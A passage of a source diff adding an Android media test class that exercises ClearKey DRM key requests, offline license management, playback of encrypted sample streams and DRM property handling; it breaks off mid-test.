+    private static final UUID COMMON_PSSH_SCHEME_UUID =
+            new UUID(0x1077efecc0b24d02L, 0xace33c1e52e2fb4bL);
+    private static final UUID CLEARKEY_SCHEME_UUID =
+            new UUID(0xe2719d58a985b3c9L, 0x781ab030af78d30eL);
+
+    private byte[] mDrmInitData;
+    private byte[] mKeySetId;
+    private byte[] mSessionId;
+    private Monitor mSessionMonitor = new Monitor();
+    private Looper mLooper;
+    private MediaDrm mDrm = null;
+    private final Object mLock = new Object();
+    private boolean mEventListenerCalled;
+    private boolean mExpirationUpdateReceived;
+    private boolean mLostStateReceived;
+
+    private static boolean sIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
+
+    public MediaDrmClearkeyTest() {
+        super(MediaStubActivity.class);
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        if (false == deviceHasMediaDrm()) {
+            tearDown();
+        }
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+    }
+
+    private boolean deviceHasMediaDrm() {
+        // ClearKey is introduced after KitKat.
+        if (ApiLevelUtil.isAtMost(android.os.Build.VERSION_CODES.KITKAT)) {
+            return false;
+        }
+        return true;
+    }
+
+    /**
+     * Extracts key ids from the pssh blob returned by getKeyRequest() and
+     * places it in keyIds.
+     * keyRequestBlob format (section 5.1.3.1):
+     * https://dvcs.w3.org/hg/html-media/raw-file/default/encrypted-media/encrypted-media.html#clear-key
+     *
+     * @return size of keyIds vector that contains the key ids, 0 for error
+     */
+    private static int getKeyIds(byte[] keyRequestBlob, Vector<String> keyIds) {
+        if (0 == keyRequestBlob.length || keyIds == null)
+            return 0;
+
+        String jsonLicenseRequest = new String(keyRequestBlob);
+        keyIds.clear();
+
+        try {
+            JSONObject license = new JSONObject(jsonLicenseRequest);
+            final JSONArray ids = license.getJSONArray("kids");
+            for (int i = 0; i < ids.length(); ++i) {
+                keyIds.add(ids.getString(i));
+            }
+        } catch (JSONException e) {
+            Log.e(TAG, "Invalid JSON license = " + jsonLicenseRequest);
+            return 0;
+        }
+        return keyIds.size();
+    }
+
+    /**
+     * Creates the JSON Web Key string.
+     *
+     * @return JSON Web Key string.
+     */
+    private static String createJsonWebKeySet(
+            Vector<String> keyIds, Vector<String> keys, int keyType) {
+        String jwkSet = "{\"keys\":[";
+        for (int i = 0; i < keyIds.size(); ++i) {
+            String id = new String(keyIds.get(i).getBytes(Charset.forName("UTF-8")));
+            String key = new String(keys.get(i).getBytes(Charset.forName("UTF-8")));
+
+            jwkSet += "{\"kty\":\"oct\",\"kid\":\"" + id +
+                    "\",\"k\":\"" + key + "\"}";
+        }
+        jwkSet += "], \"type\":";
+        if (keyType == MediaDrm.KEY_TYPE_OFFLINE || keyType == MediaDrm.KEY_TYPE_RELEASE) {
+            jwkSet += "\"persistent-license\" }";
+        } else {
+            jwkSet += "\"temporary\" }";
+        }
+        return jwkSet;
+    }
+
+    /**
+     * Retrieves clear key ids from getKeyRequest(), create JSON Web Key
+     * set and send it to the CDM via provideKeyResponse().
+     *
+     * @return key set ID
+     */
+    public static byte[] retrieveKeys(MediaDrm drm, String initDataType,
+            byte[] sessionId, byte[] drmInitData, int keyType, byte[][] clearKeyIds) {
+        MediaDrm.KeyRequest drmRequest = null;
+        try {
+            drmRequest = drm.getKeyRequest(sessionId, drmInitData, initDataType,
+                    keyType, null);
+        } catch (Exception e) {
+            e.printStackTrace();
+            Log.i(TAG, "Failed to get key request: " + e.toString());
+        }
+        if (drmRequest == null) {
+            Log.e(TAG, "Failed getKeyRequest");
+            return null;
+        }
+
+        Vector<String> keyIds = new Vector<String>();
+        if (0 == getKeyIds(drmRequest.getData(), keyIds)) {
+            Log.e(TAG, "No key ids found in initData");
+            return null;
+        }
+
+        if (clearKeyIds.length != keyIds.size()) {
+            Log.e(TAG, "Mismatch number of key ids and keys: ids=" +
+                    keyIds.size() + ", keys=" + clearKeyIds.length);
+            return null;
+        }
+
+        // Base64 encodes clearkeys. Keys are known to the application.
+        Vector<String> keys = new Vector<String>();
+        for (int i = 0; i < clearKeyIds.length; ++i) {
+            String clearKey = Base64.encodeToString(clearKeyIds[i],
+                    Base64.NO_PADDING | Base64.NO_WRAP);
+            keys.add(clearKey);
+        }
+
+        String jwkSet = createJsonWebKeySet(keyIds, keys, keyType);
+        byte[] jsonResponse = jwkSet.getBytes(Charset.forName("UTF-8"));
+
+        try {
+            try {
+                return drm.provideKeyResponse(sessionId, jsonResponse);
+            } catch (IllegalStateException e) {
+                Log.e(TAG, "Failed to provide key response: " + e.toString());
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+            Log.e(TAG, "Failed to provide key response: " + e.toString());
+        }
+        return null;
+    }
+
+    /**
+     * Retrieves clear key ids from getKeyRequest(), create JSON Web Key
+     * set and send it to the CDM via provideKeyResponse().
+     */
+    private void getKeys(MediaDrm drm, String initDataType,
+            byte[] sessionId, byte[] drmInitData, int keyType, byte[][] clearKeyIds) {
+        mKeySetId = retrieveKeys(drm, initDataType, sessionId, drmInitData, keyType, clearKeyIds);
+    }
+
+    private @NonNull MediaDrm startDrm(final byte[][] clearKeyIds, final String initDataType,
+                                       final UUID drmSchemeUuid, int keyType) {
+        if (!MediaDrm.isCryptoSchemeSupported(drmSchemeUuid)) {
+            throw new Error(ERR_MSG_CRYPTO_SCHEME_NOT_SUPPORTED);
+        }
+
+        new Thread() {
+            @Override
+            public void run() {
+                if (mDrm != null) {
+                    Log.e(TAG, "Failed to startDrm: already started");
+                    return;
+                }
+                // Set up a looper to handle events
+                Looper.prepare();
+
+                // Save the looper so that we can terminate this thread
+                // after we are done with it.
+                mLooper = Looper.myLooper();
+
+                try {
+                    mDrm = new MediaDrm(drmSchemeUuid);
+                } catch (MediaDrmException e) {
+                    Log.e(TAG, "Failed to create MediaDrm: " + e.getMessage());
+                    return;
+                }
+
+                synchronized(mLock) {
+                    mDrm.setOnEventListener(new MediaDrm.OnEventListener() {
+                            @Override
+                            public void onEvent(MediaDrm md, byte[] sid, int event,
+                                    int extra, byte[] data) {
+                                if (md != mDrm) {
+                                    Log.e(TAG, "onEvent callback: drm object mismatch");
+                                    return;
+                                } else if (!Arrays.equals(mSessionId, sid)) {
+                                    Log.e(TAG, "onEvent callback: sessionId mismatch: |" +
+                                            Arrays.toString(mSessionId) + "| vs |" + Arrays.toString(sid) + "|");
+                                    return;
+                                }
+
+                                mEventListenerCalled = true;
+                                if (event == MediaDrm.EVENT_PROVISION_REQUIRED) {
+                                    Log.i(TAG, "MediaDrm event: Provision required");
+                                } else if (event == MediaDrm.EVENT_KEY_REQUIRED) {
+                                    Log.i(TAG, "MediaDrm event: Key required");
+                                    getKeys(mDrm, initDataType, mSessionId, mDrmInitData,
+                                            keyType, clearKeyIds);
+                                } else if (event == MediaDrm.EVENT_KEY_EXPIRED) {
+                                    Log.i(TAG, "MediaDrm event: Key expired");
+                                    getKeys(mDrm, initDataType, mSessionId, mDrmInitData,
+                                            keyType, clearKeyIds);
+                                } else if (event == MediaDrm.EVENT_VENDOR_DEFINED) {
+                                    Log.i(TAG, "MediaDrm event: Vendor defined");
+                                } else if (event == MediaDrm.EVENT_SESSION_RECLAIMED) {
+                                    Log.i(TAG, "MediaDrm event: Session reclaimed");
+                                } else {
+                                    Log.e(TAG, "MediaDrm event not supported: " + event);
+                                }
+                            }
+                        });
+                    mDrm.setOnExpirationUpdateListener(new MediaDrm.OnExpirationUpdateListener() {
+                            @Override
+                            public void onExpirationUpdate(MediaDrm md, byte[] sid, long expirationTime) {
+                                if (md != mDrm) {
+                                    Log.e(TAG, "onExpirationUpdate callback: drm object mismatch");
+                                } else if (!Arrays.equals(mSessionId, sid)) {
+                                    Log.e(TAG, "onExpirationUpdate callback: sessionId mismatch: |" +
+                                            Arrays.toString(mSessionId) + "| vs |" + Arrays.toString(sid) + "|");
+                                } else {
+                                    mExpirationUpdateReceived = true;
+                                }
+                            }
+                        }, null);
+                    mDrm.setOnSessionLostStateListener(new MediaDrm.OnSessionLostStateListener() {
+                            @Override
+                            public void onSessionLostState(MediaDrm md, byte[] sid) {
+                                if (md != mDrm) {
+                                    Log.e(TAG, "onSessionLostState callback: drm object mismatch");
+                                } else if (!Arrays.equals(mSessionId, sid)) {
+                                    Log.e(TAG, "onSessionLostState callback: sessionId mismatch: |" +
+                                            Arrays.toString(mSessionId) + "| vs |" + Arrays.toString(sid) + "|");
+                                } else {
+                                    mLostStateReceived = true;
+                                }
+                            }
+                        }, null);
+                    mDrm.setOnKeyStatusChangeListener(new MediaDrm.OnKeyStatusChangeListener() {
+                            @Override
+                            public void onKeyStatusChange(MediaDrm md, byte[] sessionId,
+                                    List<KeyStatus> keyInformation, boolean hasNewUsableKey) {
+                                Log.d(TAG, "onKeyStatusChange");
+                                assertTrue(md == mDrm);
+                                assertTrue(Arrays.equals(sessionId, mSessionId));
+                                mSessionMonitor.signal();
+                                assertTrue(hasNewUsableKey);
+
+                                assertEquals(3, keyInformation.size());
+                                KeyStatus keyStatus = keyInformation.get(0);
+                                assertTrue(Arrays.equals(keyStatus.getKeyId(), new byte[] {0xa, 0xb, 0xc}));
+                                assertTrue(keyStatus.getStatusCode() == MediaDrm.KeyStatus.STATUS_USABLE);
+                                keyStatus = keyInformation.get(1);
+                                assertTrue(Arrays.equals(keyStatus.getKeyId(), new byte[] {0xd, 0xe, 0xf}));
+                                assertTrue(keyStatus.getStatusCode() == MediaDrm.KeyStatus.STATUS_EXPIRED);
+                                keyStatus = keyInformation.get(2);
+                                assertTrue(Arrays.equals(keyStatus.getKeyId(), new byte[] {0x0, 0x1, 0x2}));
+                                assertTrue(keyStatus.getStatusCode() == MediaDrm.KeyStatus.STATUS_USABLE_IN_FUTURE);
+                            }
+                        }, null);
+
+                    mLock.notify();
+                }
+                Looper.loop();  // Blocks forever until Looper.quit() is called.
+            }
+        }.start();
+
+        // wait for mDrm to be created
+        synchronized(mLock) {
+            try {
+                mLock.wait(1000);
+            } catch (Exception e) {
+            }
+        }
+        return mDrm;
+    }
+
+    private void stopDrm(MediaDrm drm) {
+        if (drm != mDrm) {
+            Log.e(TAG, "invalid drm specified in stopDrm");
+        }
+        mLooper.quit();
+        mDrm.close();
+        mDrm = null;
+    }
+
+    private @NonNull byte[] openSession(MediaDrm drm) {
+        byte[] mSessionId = null;
+        boolean mRetryOpen;
+        do {
+            try {
+                mRetryOpen = false;
+                mSessionId = drm.openSession();
+            } catch (Exception e) {
+                mRetryOpen = true;
+            }
+        } while (mRetryOpen);
+        return mSessionId;
+    }
+
+    private void closeSession(MediaDrm drm, byte[] sessionId) {
+        drm.closeSession(sessionId);
+    }
+
+    /**
+     * Tests clear key system playback.
+     */
+    private void testClearKeyPlayback(
+            UUID drmSchemeUuid,
+            String videoMime, String[] videoFeatures,
+            String initDataType, byte[][] clearKeyIds,
+            Uri audioUrl, boolean audioEncrypted,
+            Uri videoUrl, boolean videoEncrypted,
+            int videoWidth, int videoHeight, boolean scrambled, int keyType) throws Exception {
+
+        if (isWatchDevice()) {
+            return;
+        }
+
+        MediaDrm drm = null;
+        mSessionId = null;
+        final boolean hasDrm = !scrambled && drmSchemeUuid != null;
+        if (hasDrm) {
+            drm = startDrm(clearKeyIds, initDataType, drmSchemeUuid, keyType);
+            mSessionId = openSession(drm);
+        }
+
+        if (!preparePlayback(videoMime, videoFeatures, audioUrl, audioEncrypted, videoUrl,
+                videoEncrypted, videoWidth, videoHeight, scrambled, mSessionId, getSurfaces())) {
+            // Allow device to skip test to keep existing behavior.
+            // We should throw an exception for new tests.
+            return;
+        }
+
+        if (hasDrm) {
+            mDrmInitData = mMediaCodecPlayer.getDrmInitData();
+            getKeys(mDrm, initDataType, mSessionId, mDrmInitData, keyType, clearKeyIds);
+        }
+
+        if (hasDrm && keyType == MediaDrm.KEY_TYPE_OFFLINE) {
+            closeSession(drm, mSessionId);
+            mSessionMonitor.waitForSignal();
+            mSessionId = openSession(drm);
+            if (mKeySetId.length > 0) {
+                drm.restoreKeys(mSessionId, mKeySetId);
+            } else {
+                closeSession(drm, mSessionId);
+                stopDrm(drm);
+                throw new Error("Invalid keySetId size for offline license");
+            }
+        }
+
+        // starts video playback
+        playUntilEnd();
+        if (hasDrm) {
+            closeSession(drm, mSessionId);
+            stopDrm(drm);
+        }
+    }
+
+    /**
+     * Tests KEY_TYPE_RELEASE for offline license.
+     */
+    @Presubmit
+    public void testReleaseOfflineLicense() throws Exception {
+        if (isWatchDevice()) {
+            return;
+        }
+
+        byte[][] clearKeyIds = new byte[][] { CLEAR_KEY_CENC };
+        mSessionId = null;
+        String initDataType = "cenc";
+
+        MediaDrm drm = startDrm(clearKeyIds, initDataType,
+                CLEARKEY_SCHEME_UUID, MediaDrm.KEY_TYPE_OFFLINE);
+        mSessionId = openSession(drm);
+
+        Uri videoUrl = Uri.parse(Utils.getMediaPath() + CENC_VIDEO_PATH);
+        if (false == playbackPreCheck(MIME_VIDEO_AVC,
+                new String[] { CodecCapabilities.FEATURE_SecurePlayback }, videoUrl,
+                VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC)) {
+            // retry with unsecure codec
+            if (false == playbackPreCheck(MIME_VIDEO_AVC,
+                    new String[0], videoUrl,
+                    VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC)) {
+                Log.e(TAG, "Failed playback precheck");
+                return;
+            }
+        }
+
+        mMediaCodecPlayer = new MediaCodecClearKeyPlayer(
+                getSurfaces(),
+                mSessionId, false /*scrambled */,
+                mContext);
+
+        Uri audioUrl = Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH);
+        mMediaCodecPlayer.setAudioDataSource(audioUrl, null, false);
+        mMediaCodecPlayer.setVideoDataSource(videoUrl, null, true);
+        mMediaCodecPlayer.start();
+        mMediaCodecPlayer.prepare();
+        mDrmInitData = mMediaCodecPlayer.getDrmInitData();
+
+        // Create and store the offline license
+        getKeys(mDrm, initDataType, mSessionId, mDrmInitData, MediaDrm.KEY_TYPE_OFFLINE,
+                clearKeyIds);
+
+        // Verify the offline license is valid
+        closeSession(drm, mSessionId);
+        mSessionMonitor.waitForSignal();
+        mDrm.clearOnKeyStatusChangeListener();
+        mSessionId = openSession(drm);
+        drm.restoreKeys(mSessionId, mKeySetId);
+        closeSession(drm, mSessionId);
+
+        // Release the offline license
+        getKeys(mDrm, initDataType, mKeySetId, mDrmInitData, MediaDrm.KEY_TYPE_RELEASE,
+                clearKeyIds);
+
+        // Verify restoreKeys will throw an exception if the offline license
+        // has already been released
+        mSessionId = openSession(drm);
+        try {
+            drm.restoreKeys(mSessionId, mKeySetId);
+        } catch (MediaDrmStateException e) {
+            // Expected exception caught, all is good
+            return;
+        } finally {
+            closeSession(drm, mSessionId);
+            stopDrm(drm);
+        }
+
+        // Did not receive expected exception, throw an Error
+        throw new Error("Did not receive expected exception from restoreKeys");
+    }
+
+    private boolean queryKeyStatus(@NonNull final MediaDrm drm, @NonNull final byte[] sessionId) {
+        final HashMap<String, String> keyStatus = drm.queryKeyStatus(sessionId);
+        if (keyStatus.isEmpty()) {
+            Log.e(TAG, "queryKeyStatus: empty key status");
+            return false;
+        }
+
+        final Set<String> keySet = keyStatus.keySet();
+        final int numKeys = keySet.size();
+        final String[] keys = keySet.toArray(new String[numKeys]);
+        for (int i = 0; i < numKeys; ++i) {
+            final String key = keys[i];
+            Log.i(TAG, "queryKeyStatus: key=" + key + ", value=" + keyStatus.get(key));
+        }
+
+        return true;
+    }
+
+    @Presubmit
+    public void testQueryKeyStatus() throws Exception {
+        if (isWatchDevice()) {
+            // skip this test on watch because it calls
+            // addTrack that requires codec
+            return;
+        }
+
+        MediaDrm drm = startDrm(new byte[][] { CLEAR_KEY_CENC }, "cenc",
+                CLEARKEY_SCHEME_UUID, MediaDrm.KEY_TYPE_STREAMING);
+
+        mSessionId = openSession(drm);
+
+        // Test default key status, should not be defined
+        final HashMap<String, String> keyStatus = drm.queryKeyStatus(mSessionId);
+        if (!keyStatus.isEmpty()) {
+            closeSession(drm, mSessionId);
+            stopDrm(drm);
+            throw new Error("query default key status failed");
+        }
+
+        // Test valid key status
+        mMediaCodecPlayer = new MediaCodecClearKeyPlayer(
+                getSurfaces(),
+                mSessionId, false,
+                mContext);
+        mMediaCodecPlayer.setAudioDataSource(
+                Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH), null, false);
+        mMediaCodecPlayer.setVideoDataSource(
+                Uri.parse(Utils.getMediaPath() + CENC_VIDEO_PATH), null, true);
+        mMediaCodecPlayer.start();
+        mMediaCodecPlayer.prepare();
+
+        mDrmInitData = mMediaCodecPlayer.getDrmInitData();
+        getKeys(drm, "cenc", mSessionId, mDrmInitData, MediaDrm.KEY_TYPE_STREAMING,
+                new byte[][] { CLEAR_KEY_CENC });
+        boolean success = true;
+        if (!queryKeyStatus(drm, mSessionId)) {
+            success = false;
+        }
+
+        mMediaCodecPlayer.reset();
+        closeSession(drm, mSessionId);
+        stopDrm(drm);
+        if (!success) {
+            throw new Error("query key status failed");
+        }
+    }
+
+    @Presubmit
+    public void testOfflineKeyManagement() throws Exception {
+        if (isWatchDevice()) {
+            // skip this test on watch because it calls
+            // addTrack that requires codec
+            return;
+        }
+
+        MediaDrm drm = startDrm(new byte[][] { CLEAR_KEY_CENC }, "cenc",
+                CLEARKEY_SCHEME_UUID, MediaDrm.KEY_TYPE_OFFLINE);
+
+        if (getClearkeyVersion(drm).matches("1.[01]")) {
+            Log.i(TAG, "Skipping testsOfflineKeyManagement: clearkey 1.2 required");
+            return;
+        }
+
+        mSessionId = openSession(drm);
+
+        // Test get offline keys
+        mMediaCodecPlayer = new MediaCodecClearKeyPlayer(
+                getSurfaces(),
+                mSessionId, false,
+                mContext);
+        mMediaCodecPlayer.setAudioDataSource(
+                Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH), null, false);
+        mMediaCodecPlayer.setVideoDataSource(
+                Uri.parse(Utils.getMediaPath() + CENC_VIDEO_PATH), null, true);
+        mMediaCodecPlayer.start();
+        mMediaCodecPlayer.prepare();
+
+        try {
+            mDrmInitData = mMediaCodecPlayer.getDrmInitData();
+
+            List<byte[]> keySetIds = drm.getOfflineLicenseKeySetIds();
+            int preCount = keySetIds.size();
+
+            getKeys(drm, "cenc", mSessionId, mDrmInitData, MediaDrm.KEY_TYPE_OFFLINE,
+                    new byte[][] { CLEAR_KEY_CENC });
+
+            if (drm.getOfflineLicenseState(mKeySetId) != MediaDrm.OFFLINE_LICENSE_STATE_USABLE) {
+                throw new Error("Offline license state is not usable");
+            }
+
+            keySetIds = drm.getOfflineLicenseKeySetIds();
+
+            if (keySetIds.size() != preCount + 1) {
+                throw new Error("KeySetIds size did not increment");
+            }
+
+            boolean found = false;
+            for (int i = 0; i < keySetIds.size(); i++) {
+                if (Arrays.equals(keySetIds.get(i), mKeySetId)) {
+                    found = true;
+                    break;
+                }
+            }
+            if (!found) {
+                throw new Error("New KeySetId is missing from KeySetIds");
+            }
+
+            drm.removeOfflineLicense(mKeySetId);
+
+            keySetIds = drm.getOfflineLicenseKeySetIds();
+            if (keySetIds.size() != preCount) {
+                throw new Error("KeySetIds size is incorrect");
+            }
+
+            found = false;
+            for (int i = 0; i < keySetIds.size(); i++) {
+                if (Arrays.equals(keySetIds.get(i), mKeySetId)) {
+                    found = true;
+                    break;
+                }
+            }
+
+            if (found) {
+                throw new Error("New KeySetId is still in from KeySetIds after removal");
+            }
+
+            // TODO: after RELEASE is implemented: add offline key, release it
+            // get offline key status, check state is inactive
+        } finally {
+            mMediaCodecPlayer.reset();
+            closeSession(drm, mSessionId);
+            stopDrm(drm);
+        }
+    }
+
+    // returns FEATURE_SecurePlayback if device supports secure codec,
+    // else returns an empty string for the codec feature
+    private String[] determineCodecFeatures(String mime,
+            int videoWidth, int videoHeight) {
+        String[] codecFeatures = { CodecCapabilities.FEATURE_SecurePlayback };
+        if (!isResolutionSupported(MIME_VIDEO_AVC, codecFeatures,
+            VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC)) {
+            // for device that does not support secure codec
+            codecFeatures = new String[0];
+        }
+        return codecFeatures;
+    }
+
+    public void testClearKeyPlaybackCenc() throws Exception {
+        String[] codecFeatures = determineCodecFeatures(MIME_VIDEO_AVC,
+            VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC);
+        testClearKeyPlayback(
+            COMMON_PSSH_SCHEME_UUID,
+            // using secure codec even though it is clear key DRM
+            MIME_VIDEO_AVC, codecFeatures,
+            "cenc", new byte[][] { CLEAR_KEY_CENC },
+            Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH), false  /* audioEncrypted */,
+            Uri.parse(Utils.getMediaPath() + CENC_VIDEO_PATH), true /* videoEncrypted */,
+            VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC, false /* scrambled */,
+            MediaDrm.KEY_TYPE_STREAMING);
+    }
+
+    @Presubmit
+    public void testClearKeyPlaybackCenc2() throws Exception {
+        String[] codecFeatures = determineCodecFeatures(MIME_VIDEO_AVC,
+            VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC);
+        testClearKeyPlayback(
+            CLEARKEY_SCHEME_UUID,
+            // using secure codec even though it is clear key DRM
+            MIME_VIDEO_AVC, codecFeatures,
+            "cenc", new byte[][] { CLEAR_KEY_CENC },
+            Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH), false /* audioEncrypted */ ,
+            Uri.parse(Utils.getMediaPath() + CENC_VIDEO_PATH), true /* videoEncrypted */,
+            VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC, false /* scrambled */,
+            MediaDrm.KEY_TYPE_STREAMING);
+    }
+
+    @Presubmit
+    public void testClearKeyPlaybackOfflineCenc() throws Exception {
+        String[] codecFeatures = determineCodecFeatures(MIME_VIDEO_AVC,
+            VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC);
+        testClearKeyPlayback(
+                CLEARKEY_SCHEME_UUID,
+                // using secure codec even though it is clear key DRM
+                MIME_VIDEO_AVC, codecFeatures,
+                "cenc", new byte[][] { CLEAR_KEY_CENC },
+                Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH), false /* audioEncrypted */ ,
+                Uri.parse(Utils.getMediaPath() + CENC_VIDEO_PATH), true /* videoEncrypted */,
+                VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC, false /* scrambled */,
+                MediaDrm.KEY_TYPE_OFFLINE);
+    }
+
+    public void testClearKeyPlaybackWebm() throws Exception {
+        testClearKeyPlayback(
+            CLEARKEY_SCHEME_UUID,
+            MIME_VIDEO_VP8, new String[0],
+            "webm", new byte[][] { CLEAR_KEY_WEBM },
+            WEBM_URL, true /* audioEncrypted */,
+            WEBM_URL, true /* videoEncrypted */,
+            VIDEO_WIDTH_WEBM, VIDEO_HEIGHT_WEBM, false /* scrambled */,
+            MediaDrm.KEY_TYPE_STREAMING);
+    }
+
+    public void testClearKeyPlaybackMpeg2ts() throws Exception {
+        testClearKeyPlayback(
+            CLEARKEY_SCHEME_UUID,
+            MIME_VIDEO_AVC, new String[0],
+            "mpeg2ts", null,
+            MPEG2TS_SCRAMBLED_URL, false /* audioEncrypted */,
+            MPEG2TS_SCRAMBLED_URL, false /* videoEncrypted */,
+            VIDEO_WIDTH_MPEG2TS, VIDEO_HEIGHT_MPEG2TS, true /* scrambled */,
+            MediaDrm.KEY_TYPE_STREAMING);
+    }
+
+    public void testPlaybackMpeg2ts() throws Exception {
+        testClearKeyPlayback(
+            CLEARKEY_SCHEME_UUID,
+            MIME_VIDEO_AVC, new String[0],
+            "mpeg2ts", null,
+            MPEG2TS_CLEAR_URL, false /* audioEncrypted */,
+            MPEG2TS_CLEAR_URL, false /* videoEncrypted */,
+            VIDEO_WIDTH_MPEG2TS, VIDEO_HEIGHT_MPEG2TS, false /* scrambled */,
+            MediaDrm.KEY_TYPE_STREAMING);
+    }
+
+    private String getStringProperty(final MediaDrm drm,  final String key) {
+        String value = "";
+        try {
+            value = drm.getPropertyString(key);
+        } catch (IllegalArgumentException e) {
+            // Expected exception for invalid key
+            Log.d(TAG, "Expected result: " + e.getMessage());
+        } catch (Exception e) {
+            throw new Error(e.getMessage() + "-" + key);
+        }
+        return value;
+    }
+
+    private byte[] getByteArrayProperty(final MediaDrm drm,  final String key) {
+        byte[] bytes = new byte[0];
+        try {
+            bytes = drm.getPropertyByteArray(key);
+        } catch (IllegalArgumentException e) {
+            // Expected exception for invalid key
+            Log.d(TAG, "Expected: " + e.getMessage() + " - " + key);
+        } catch (Exception e) {
+            throw new Error(e.getMessage() + "-" + key);
+        }
+        return bytes;
+    }
+
+    private void setStringProperty(final MediaDrm drm, final String key, final String value) {
+        try {
+            drm.setPropertyString(key, value);
+        } catch (IllegalArgumentException e) {
+            // Expected exception for invalid key
+            Log.d(TAG, "Expected: " + e.getMessage() + " - " + key);
+        } catch (Exception e) {
+            throw new Error(e.getMessage() + "-" + key);
+        }
+    }
+
+    private void setByteArrayProperty(final MediaDrm drm, final String key, final byte[] bytes) {
+        try {
+            drm.setPropertyByteArray(key, bytes);
+        } catch (IllegalArgumentException e) {
+            // Expected exception for invalid key
+            Log.d(TAG, "Expected: " + e.getMessage() + " - " + key);
+        } catch (Exception e) {
+            throw new Error(e.getMessage() + "-" + key);
+        }
+    }
+
+    @Presubmit
+    public void testGetProperties() throws Exception {
+        if (watchHasNoClearkeySupport()) {
+            return;
+        }
+
+        MediaDrm drm = startDrm(new byte[][] { CLEAR_KEY_CENC },
+                "cenc", CLEARKEY_SCHEME_UUID, MediaDrm.KEY_TYPE_STREAMING);
+
+        try {
+            // The following tests will not verify the value we are getting
+            // back since it could change in the future.
+            final String[] sKeys = {
+                    DESCRIPTION_PROPERTY_KEY, LISTENER_TEST_SUPPORT_PROPERTY_KEY,
+                    VENDOR_PROPERTY_KEY, VERSION_PROPERTY_KEY};
+            String value;
+            for (String key : sKeys) {
+                value = getStringProperty(drm, key);
+                Log.d(TAG, "getPropertyString returns: " + key + ", " + value);
+                if (value.isEmpty()) {
+                    throw new Error("Failed to get property for: " + key);
+                }
+            }
+
+            if (cannotHandleGetPropertyByteArray(drm)) {
+                Log.i(TAG, "Skipping testGetProperties: byte array properties not implemented "
+                        + "on devices launched before P");
+                return;
+            }
+
+            byte[] bytes = getByteArrayProperty(drm, DEVICEID_PROPERTY_KEY);
+            if (0 == bytes.length) {
+                throw new Error("Failed to get property for: " + DEVICEID_PROPERTY_KEY);
+            }
+
+            // Test with an invalid property key.
+            value = getStringProperty(drm, INVALID_PROPERTY_KEY);
+            bytes = getByteArrayProperty(drm, INVALID_PROPERTY_KEY);
+            if (!value.isEmpty() || 0 != bytes.length) {
+                throw new Error("get property failed using an invalid property key");
+            }
+        } finally {
+            stopDrm(drm);
+        }
+    }
+
+    @Presubmit
+    public void testSetProperties() throws Exception {
+        if (watchHasNoClearkeySupport()) {
+            return;
+        }
+
+        MediaDrm drm = startDrm(new byte[][]{CLEAR_KEY_CENC},
+                "cenc", CLEARKEY_SCHEME_UUID, MediaDrm.KEY_TYPE_STREAMING);
+
+        try {
+            if (cannotHandleSetPropertyString(drm)) {
+                Log.i(TAG, "Skipping testSetProperties: set property string not implemented "
+                        + "on devices launched before P");
+                return;
+            }
+
+            // Test setting predefined string property
+            // - Save the value to be restored later
+            // - Set the property value
+            // - Check the value that was set
+            // - Restore previous value
+            String listenerTestSupport = getStringProperty(drm, LISTENER_TEST_SUPPORT_PROPERTY_KEY);
+
+            setStringProperty(drm, LISTENER_TEST_SUPPORT_PROPERTY_KEY, "testing");
+
+            String value = getStringProperty(drm, LISTENER_TEST_SUPPORT_PROPERTY_KEY);
+            if (!value.equals("testing")) {
+                throw new Error("Failed to set property: " + LISTENER_TEST_SUPPORT_PROPERTY_KEY);
+            }
+
+            setStringProperty(drm, LISTENER_TEST_SUPPORT_PROPERTY_KEY, listenerTestSupport);
+
+            // Test setting immutable properties
+            HashMap<String, String> defaultImmutableProperties = new HashMap<String, String>();
+            defaultImmutableProperties.put(ALGORITHMS_PROPERTY_KEY,
+                    getStringProperty(drm, ALGORITHMS_PROPERTY_KEY));
+            defaultImmutableProperties.put(DESCRIPTION_PROPERTY_KEY,
+                    getStringProperty(drm, DESCRIPTION_PROPERTY_KEY));
+            defaultImmutableProperties.put(VENDOR_PROPERTY_KEY,
+                    getStringProperty(drm, VENDOR_PROPERTY_KEY));
+            defaultImmutableProperties.put(VERSION_PROPERTY_KEY,
+                    getStringProperty(drm, VERSION_PROPERTY_KEY));
+
+            HashMap<String, String> immutableProperties = new HashMap<String, String>();
+            immutableProperties.put(ALGORITHMS_PROPERTY_KEY, "brute force");
+            immutableProperties.put(DESCRIPTION_PROPERTY_KEY, "testing only");
+            immutableProperties.put(VENDOR_PROPERTY_KEY, "my Google");
+            immutableProperties.put(VERSION_PROPERTY_KEY, "undefined");
+
+            for (String key : immutableProperties.keySet()) {
+                setStringProperty(drm, key, immutableProperties.get(key));
+            }
+
+            // Verify the immutable properties have not been set
+            for (String key : immutableProperties.keySet()) {
+                value = getStringProperty(drm, key);
+                if (!defaultImmutableProperties.get(key).equals(getStringProperty(drm, key))) {
+                    throw new Error("Immutable property has changed, key=" + key);
+                }
+            }
+
+            // Test setPropertyByteArray for immutable property
+            final byte[] bytes = new byte[] {
+                    0xf, 0xe, 0xd, 0xc, 0xb, 0xa, 0x9, 0x8,
+                    0x7, 0x6, 0x5, 0x4, 0x3, 0x2, 0x1, 0x0};
+
+            final byte[] deviceId = getByteArrayProperty(drm, DEVICEID_PROPERTY_KEY);
+
+            setByteArrayProperty(drm, DEVICEID_PROPERTY_KEY, bytes);
+
+            // Verify deviceId has not changed
